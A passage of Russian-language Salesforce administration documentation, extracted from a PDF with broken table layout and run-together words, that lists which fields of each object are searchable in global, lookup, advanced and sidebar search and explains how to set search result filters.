
ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Дискуссии поддерживают только стандартные диалоговые поиски.

Глобальный
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные для
поиска

Заголовок

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: документ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Для поиска документов рекомендуем использовать функцию глобального поиска или
кнопку «Найтидокумент»навкладке «Документы». Функциипоисканабоковойпанели
и расширенного поиска не поддерживают поиск документов.

Вкладка
«Документы»

Глобальный
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные
для поиска

Имя

Текст

Ключевые
слова

Все
стандартные
текстовые
поля
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Вкладка
«Документы»

Глобальный
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой панели

Поля, доступные
для поиска

Все
настраиваемые
поля типа
«автонумерация» и
настраиваемые
поля, заданные в
качествевнешнего
кода

(Начальные нули
могут быть
пропущены.)

Все
настраиваемые
поля типа «текст»,
«текстовая
область», «область
подробного
текста», «область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: право

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Имя

Все настраиваемые
поля типа
«автонумерация» и
настраиваемыеполя,
заданные в качестве
внешнего кода

(Начальные нули
могут быть
пропущены.)
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Глобальный поискРасширенный поискПоиск на боковой панелиПоля, доступные для
поиска

Все настраиваемые поля
типа «текст», «текстовая
область», «область
подробноготекста», «область
обогащенного текста», «эл.
почта» и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: внешний объект

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Lightning Connect доступен
в версиях: Developer
Edition. Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Files Connect для облачных
внешних источников
данных доступно в:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect для локальных
внешних источников
данных доступно за
дополнительную плату в:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Внешнийобъектпредоставляетдоступкданным, хранящимсявнеорганизацииSalesforce.
Поля внешнего объекта, доступные для поиска, определяются способом обработки
поисков внешней системой. Если результаты поиска отличаются от ожидаемых,
рекомендуемиспользоватьчувствительныекрегиструпоисковыезапросы, содержащие
только буквы и цифры. При повторном возникновении данной проблемы обратитесь
к администратору для получения рекомендаций по выполнению поиска в конкретной
внешней системе.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Поля типа «Текст»,
«Область текста» и
«Область
подробного текста»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: файл

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Функции поиска на боковой панели и расширенного поиска не поддерживают поиск
файлов. Для поиска файлов рекомендуем использовать функцию глобального поиска
или инструменты поиска на вкладке «Файлы».

Вкладка
«Файлы»

Глобальный
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные для
поиска

Текст

Описание

Расширение
(например, ppt)

Имя

Ответственный

Все
настраиваемые
поля типа
«автонумерация»
и
настраиваемые
поля, заданные
в качестве
внешнего кода

(Начальные
нулимогутбыть
пропущены.)

Все
настраиваемые
поля типа
«текст»,
«текстовая
область»,
«область
подробного
текста»,
«область
обогащенного
текста», «эл.
почта» и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: цель

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Описание

Имя

Все настраиваемые
поля типа
«автонумерация» и
настраиваемыеполя,
заданные в качестве
внешнего кода

(Начальные нули
могут быть
пропущены.)

Все настраиваемые
поля типа «текст»,
«текстовая область»,
«область
подробного текста»,
«область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: идея

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Глобальный
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные для
поиска

Текст

Комментарий

Описание

Должность

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

420

Настройка поискаНастройка и обслуживание организации Salesforce



Поля, доступные для поиска: Статья базы знаний

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функции поиска на боковой панели и расширенного поиска не поддерживают поиск
статей. Дляпоиска статейрекомендуемиспользоватьфункциюглобальногопоискаили
средства поиска на боковой панели вкладки «Статьи».

Вкладка
«Статьи»

Глобальный
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные для
поиска

Все
стандартные
текстовые поля

Текст

Файл

Summary

Заголовок

URL-адрес

Все
настраиваемые
поля типа
«автонумерация»
и
настраиваемые
поля, заданные
в качестве
внешнего кода

(Начальные
нулимогутбыть
пропущены.)
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Вкладка «Статьи»Глобальный поискРасширенныйпоискПоиск на боковой
панели

Поля, доступные для
поиска

Все настраиваемые
поля типа «текст»,
«текстовая область»,
«область подробного
текста», «область
обогащенноготекста»,
«эл. почта» и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: интерес

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Глобальный
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные для
поиска

Адрес

Компания

Компания (на
родном языке)

Описание

Эл. почта

Факс

Личное имя

Личное имя
(на родном
языке)

Фамилия

Фамилия (на
родном языке)

Отчество

Мобильный
тел.

Тел.

Суффикс
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Глобальный поискСтандартный
диалоговый поиск

РасширенныйпоискПоиск на боковой
панели

Поля, доступные для
поиска

Должность

Все настраиваемые
поля типа
«автонумерация» и
настраиваемые поля,
заданные в качестве
внешнего кода

(Начальные нули
могут быть
пропущены.)

Все настраиваемые
поля типа «текст»,
«текстовая область»,
«область подробного
текста», «область
обогащенноготекста»,
«эл. почта» и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: транскрипт Live Chat

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Текст

Текст транскрипта
администратора

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: макрос

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Описание

Имя

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: показатель

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Описание

Имя

Все настраиваемые
поля типа
«автонумерация» и
настраиваемыеполя,
заданные в качестве
внешнего кода

(Начальные нули
могут быть
пропущены.)

Все настраиваемые
поля типа «текст»,
«текстовая область»,
«область
подробного текста»,
«область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: примечание

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Текст

Должность

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: возможность

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступные поля
определяютсяиспользуемой
версией Salesforce.

Глобальный
поиск и

Расширенный
диалоговый
поиск: все
поля

Расширенный
диалоговый
поиск: поля

имен

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные
для поиска

Описание

Имя
возможности

Имя
организации

Все
настраиваемые
поля типа
«автонумерация»
и
настраиваемые
поля,
заданные в
качестве
внешнего
кода

(Начальные
нули могут
быть
пропущены.)
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Глобальный
поиск и

Расширенный
диалоговый

поиск: все поля

Расширенный
диалоговый
поиск: поля

имен

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой панели

Поля, доступные
для поиска

Все
настраиваемые
поля типа «текст»,
«текстовая
область», «область
подробного
текста», «область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: заказ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Адрес для счета

Описание

Внешнее
примечание

Внутренние
комментарии

Имя заказа

Регистрационный
номер заказа

Номер заказа

Инструкция по
обработке

Адрес отправки

Все настраиваемые
поля типа
«автонумерация» и
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Глобальный поискРасширенный поискПоиск на боковой панелиПоля, доступные для
поиска

настраиваемые поля,
заданные в качестве
внешнего кода

(Начальныенулимогутбыть
пропущены.)

Все настраиваемые поля
типа «текст», «текстовая
область», «область
подробноготекста», «область
обогащенного текста», «эл.
почта» и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: люди

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Функции поиска на боковой панели и расширенного поиска не поддерживают поиск
людей, однако они позволяют искать пользователей. См. раздел «Поля, доступные для
поиска: пользователь».

Для поиска людей рекомендуем использовать функцию глобального поиска или
инструменты поиска на вкладке «Люди».

Вкладка
«Люди»

Глобальный
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные для
поиска

Обо мне

Эл. почта

Личное имя

Фамилия

Имя

Прозвище

Тел.

Код записи
(только
15-значный код
записи)
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Вкладка «Люди»Глобальный поискРасширенныйпоискПоиск на боковой
панели

Поля, доступные для
поиска

Имя пользователя

Все настраиваемые
поля типа
«автонумерация» и
настраиваемые поля,
заданные в качестве
внешнего кода

(Начальные нули
могут быть
пропущены.)

Все настраиваемые
поля типа «текст»,
«текстовая область»,
«область подробного
текста», «область
обогащенноготекста»,
«эл. почта» и «тел.»

Прим.: Данныеизскрытыхполейпрофилянедоступныдляпоиска, выполняемоговсообществедругимипартнерами
и клиентами, но доступны для поиска, выполняемого пользователями во внутренней организации компании.

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: цикл производительности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Имя

Все настраиваемые
поля типа
«автонумерация» и
настраиваемыеполя,
заданные в качестве
внешнего кода

(Начальные нули
могут быть
пропущены.)
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Глобальный поискРасширенный поискПоиск на боковой панелиПоля, доступные для
поиска

Все настраиваемые поля
типа «текст», «текстовая
область», «область
подробноготекста», «область
обогащенного текста», «эл.
почта» и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: организация-лицо

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступные поля
организаций-лиц
определяютсяиспользуемой
версией Salesforce.

Глобальный
поиск и

Расширенный
диалоговый
поиск: все
поля

Расширенный
диалоговый
поиск: поля

имен

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные
для поиска

Имя
организации

Имя
организации
(на родном
языке)

Номер
организации

Местоположение
организации

Ассистент

Тел.
ассистента

Адрес для
счета

Описание

Эл. почта

Факс
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Глобальный
поиск и

Расширенный
диалоговый

поиск: все поля

Расширенный
диалоговый
поиск: поля

имен

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой панели

Поля, доступные
для поиска

Дом. тел.

Почтовый адрес

Мобильный тел.

Другой адрес

Другой тел.

Адрес отправки

Биржевой символ

Должность

Веб-сайт

Все
настраиваемые
поля типа
«автонумерация» и
настраиваемые
поля, заданные в
качествевнешнего
кода

(Начальные нули
могут быть
пропущены.)

Все
настраиваемые
поляорганизаций
и контактов типа
«текст», «текстовая
область», «область
подробного
текста», «область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: прайс-лист

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функции глобального поиска, поиска на боковой панели и расширенного поиска не
поддерживают поиск прайс-листов. Чтобы найти нужный прайс-лист, воспользуйтесь
областью «Прайс-листы» на вкладке «Продукты».

Поиск на
вкладке

«Продукты»

Глобальный
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные
для поиска

Описание
прайс-листа

Имя
прайс-листа

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: продукт

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функции поиска на боковой панели и расширенного поиска не поддерживают поиск
прайс-листовилипродуктов. Дляпоискапродуктоврекомендуемиспользоватьфункцию
глобального поиска или область «Найти продукты» на вкладке «Продукты».

Поиск на
вкладке

«Продукты»

Глобальный
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные
для поиска

Фамилия

Код
продукта

Описание
продукта

Имя
продукта

Все
настраиваемые
поля типа
«автонумерация»
и
настраиваемые
поля,
заданные в
качестве
внешнего
кода
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Поиск на
вкладке

«Продукты»

Глобальный
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой панели

Поля, доступные
для поиска

(Начальные нули
могут быть
пропущены.)

Все
настраиваемые
поля типа «текст»,
«текстовая
область», «область
подробного
текста», «область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: вопрос

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Вкладка «Ответы» в системе Salesforce содержит все вопросы, опубликованные в
сообществе ответов.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Текст вопроса

Заголовок вопроса

Текст ответа

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: быстрый текст

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Сообщение

Имя

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: смета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Глобальный
поиск

Стандартный
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные для
поиска

Имя сметы

Номер сметы

Все
настраиваемые
поля типа
«текст»,
«текстовая
область»,
«область
подробного
текста»,
«область
обогащенного
текста», «эл.
почта» и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: отчет

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Описание

Имя отчета

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: копилка наград

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Имя

Все настраиваемые
поля типа
«автонумерация» и
настраиваемыеполя,
заданные в качестве
внешнего кода

(Начальные нули
могут быть
пропущены.)

Все настраиваемые
поля типа «текст»,
«текстовая область»,
«область
подробного текста»,
«область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: тип копилки наград

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Имя

Все настраиваемые
поля типа
«автонумерация» и
настраиваемыеполя,
заданные в качестве
внешнего кода

(Начальные нули
могут быть
пропущены.)

Все настраиваемые
поля типа «текст»,
«текстовая область»,
«область
подробного текста»,
«область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: пользователь портала самообслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Пользователипорталасамообслуживанияподдерживаюттолькостандартныедиалоговые
поиски.

Глобальный
поиск

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные для
поиска

Личное имя

Фамилия

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: сервисный контракт

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Номер контракта

Описание

Имя

Особые условия

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: навык

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Имя

Все настраиваемые
поля типа
«автонумерация» и
настраиваемыеполя,
заданные в качестве
внешнего кода

(Начальные нули
могут быть
пропущены.)

Все настраиваемые
поля типа «текст»,
«текстовая область»,
«область
подробного текста»,
«область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: решение

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функции поиска на боковой панели и расширенного поиска не поддерживают поиск
решений. Дляпоискарешенийрекомендуемиспользоватьфункциюглобальногопоиска
или кнопку «Найти решение» на вкладке «Решения».

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: задача, календарное событие и запрошенная конференция

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Архивные действия недоступны для поиска.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Описание  (только
длязадачисобытий)

Тема

Все настраиваемые
поля типа
«автонумерация» и
настраиваемыеполя,
заданные в качестве
внешнего кода

(Начальные нули
могут быть
пропущены.)

Все настраиваемые
поля типа «текст»,
«текстовая область»,
«область
подробного текста»,
«область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic
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Поля, доступные для поиска: тема

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Функции поиска на боковой панели и расширенного поиска не поддерживают поиск
тем. Для поиска темы рекомендуем использовать функцию глобального поиска.

ГлобальныйпоискРасширенный
поиск

Поиск на боковой
панели

Поля, доступные
для поиска

Описание

Имя

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: пользователь

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступные поля
определяютсяиспользуемой
версией Salesforce.

ЕслиорганизацияиспользуетChatter, тодополнительнуюинформациюопоискелюдей
см. в разделе «Поля, доступные для поиска: люди».

Глобальный
поиск и

Расширенный
диалоговый
поиск: все
поля

Расширенный
диалоговый
поиск: поля

имен

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные
для поиска

Обо мне

Эл. почта

Личное имя

Фамилия

Отчество

Имя

Прозвище

Тел.

Код записи
(только
15-значный
код записи)

Суффикс

Имя
пользователя
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Глобальный
поиск и

Расширенный
диалоговый

поиск: все поля

Расширенный
диалоговый
поиск: поля

имен

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой панели

Поля, доступные
для поиска

Все
настраиваемые
поля типа
«автонумерация» и
настраиваемые
поля, заданные в
качествевнешнего
кода

(Начальные нули
могут быть
пропущены.)

Все
настраиваемые
поля типа «текст»,
«текстовая
область», «область
подробного
текста», «область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: Заказ-наряд

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступные поля
определяютсяиспользуемой
версией Salesforce.

Глобальный
поиск и

Расширенный
диалоговый
поиск: все
поля

Расширенный
диалоговый
поиск: поля

имен

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные
для поиска

Описание

Тема

Все
настраиваемые
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Глобальный
поиск и

Расширенный
диалоговый

поиск: все поля

Расширенный
диалоговый
поиск: поля

имен

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой панели

Поля, доступные
для поиска

поля типа
«автонумерация» и
настраиваемые
поля, заданные в
качествевнешнего
кода

(Начальные нули
могут быть
пропущены.)

Все
настраиваемые
поля типа «текст»,
«текстовая
область», «область
подробного
текста», «область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля, доступные для поиска: Элемент строки заказа-наряда

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступные поля
определяютсяиспользуемой
версией Salesforce.

Глобальный
поиск и

Расширенный
диалоговый
поиск: все
поля

Расширенный
диалоговый
поиск: поля

имен

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой
панели

Поля,
доступные
для поиска

Описание

Все
настраиваемые
поля типа
«автонумерация»
и
настраиваемые

440

Настройка поискаНастройка и обслуживание организации Salesforce



Глобальный
поиск и

Расширенный
диалоговый

поиск: все поля

Расширенный
диалоговый
поиск: поля

имен

Стандартный
диалоговый
поиск

Расширенный
поиск

Поиск на
боковой панели

Поля, доступные
для поиска

поля, заданные в
качествевнешнего
кода

(Начальные нули
могут быть
пропущены.)

Все
настраиваемые
поля типа «текст»,
«текстовая
область», «область
подробного
текста», «область
обогащенного
текста», «эл. почта»
и «тел.»

СМ. ТАКЖЕ:

Поля объектов, доступные для поиска в Salesforce Classic

Поля объектов, доступные для поиска в Lightning Experience

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Типы записей, доступные
для поиска, определяются
используемой версией
системы.

Записи, возвращаемые в результатах поиска, определяются доступностью типа объекта
записи и его полей для поиска. Результаты поиска не отображают объект, значение
которого хранится в поле, которое недоступно для поиска.

Прим.: Припоиске значения в поле, скрытом согласнопараметрамбезопасности,
результаты возвращают запись, содержащую данное поле. Тем не менее, данное
поле не отображается.

Чтобыопределитьобъекты, которыемогутбытьнайденыпосредствомфункциипоиска,
воспользуйтесьтаблицейниже.Еслиобъектсодержитнастраиваемыеполя, тофункция
поискаможетвозвращатьзаписиданногообъекта со значенияминастраиваемыхполей.

ПоляОбъект

Имя организацииОрганизация

Имя организации (на родном языке)

Номер организации

Местоположение организации
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ПоляОбъект

Адрес для счета

Описание

Номер D-U-N-S  (Данное поле доступно только
организациям, использующим Data.com.)

Факс

Тел.

Адрес отправки

Биржевой символ

Веб-сайт

Все настраиваемые поля

Имя актива

Описание

Актив

Серийный номер

ОписаниеВложение

Имя

Имя кампанииКампания

Комментарии к обращениюОбращение

Номер обращения

Описание

Тема

Веб-компания  (поле пользователя, отправившего
обращение через Интернет)

Веб-адрес  (поле пользователя, отправившего обращение
через Интернет)

Веб-имя  (поле пользователя, отправившего обращение
через Интернет)

Веб-телефон  (полепользователя, отправившегообращение
через Интернет)

@имя  (гдепеременная имя заменяетсяименемпользователя)Лента Chatter

Текст комментария

Имя комментатора

Имя файла

Имя группы
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ПоляОбъект

Ссылки

Текст сообщения

Происхождение сообщения (имя пользователя, группы,
записи)

Описание группыГруппы Chatter

Имя группы

Имя ассистентаКонтакт

Тел. ассистента

Отдел

Описание

Эл. почта

Факс

Личное имя

Личное имя (на родном языке)

Дом. тел.

Фамилия

Фамилия (на родном языке)

Почтовый адрес

Отчество

Отчество (на родном языке)

Мобильный тел.

Другой адрес

Другой тел.

Тел.

Суффикс

Должность

ИмяНастраиваемые объекты и поля

Все настраиваемые поля типа «автонумерация» и
настраиваемые поля, заданные в качестве внешнего кода
(не нужно вводить начальные нули)

Все настраиваемые поля типа «эл. почта» и «тел.»
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ПоляОбъект

Все настраиваемые поля типа «текст», «текстовая область»,
«область подробного текста» и «область обогащенного
текста»

Прим.: Записи настраиваемых объектов доступны
дляпоиска впользовательскоминтерфейсе Salesforce
только при наличии связи между настраиваемым
объектоминастраиваемой вкладкой. Вкладка может
не отображаться.

ЗаголовокПанель мониторинга

ТекстДокумент

Имя

ТекстФайл

Описание

Расширение  (например, ppt)

Имя

Ответственный

АдресИнтерес

Компания

Компания (на родном языке)

Описание

Эл. почта

Факс

Личное имя

Личное имя (на родном языке)

Фамилия

Фамилия (на родном языке)

Отчество

Мобильный тел.

Тел.

Суффикс

Должность

ТекстПримечание
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ПоляОбъект

Заголовок

ОписаниеВозможность

Имя возможности

Имя организации

Обо мнеЛюди

Эл. почта

Личное имя

Фамилия

Имя

Псевдоним

Тел.

Код записи  (только 15-значный код записи)

Имя пользователя

Имя организацииорганизация-лицо

Имя организации (на родном языке)

Номер организации

Местоположение организации

Ассистент

Тел. ассистента

Адрес для счета

Описание

Эл. почта

Факс

Дом. тел.

Почтовый адрес

Мобильный тел.

Другой адрес

Другой тел.

Адрес отправки

Биржевой символ

Должность

Website
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ПоляОбъект

Описание прайс-листаПрайс-лист

Имя прайс-листа

ФамилияПродукт

Код продукта

Описание продукта

Имя продукта

ОписаниеОтчет

Имя отчета

ОписаниеЗаказ-наряд

Тема

ОписаниеЭлемент строки заказа-наряда

Настройка фильтров для результатов поиска пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения макетов
поиска:
• «Настройка

приложения»

1. Щелкните в связанном списке объекта на странице «Результаты поиска»
«Настроить...» > Фильтры для всех пользователей.

Крометого, впараметрахуправлениядляобъектаперейдитевраздел «Макетыпоиска»
и нажмите кнопку «Правка» для «Поляфильтра поиска».

2. Чтобы выбрать столбцы, воспользуйтесь кнопками «Добавить» и «Удалить».

3. Чтобыизменитьпорядокотображениястолбцов, воспользуйтеськнопками «Вверх»
и «Вниз».

4. Нажмите кнопку «Сохранить».

Прим.: Фильтры результатов поиска, заданные для объекта во внутренней
организации, также применяются к результатам поиска для данного объекта в
сообществах.

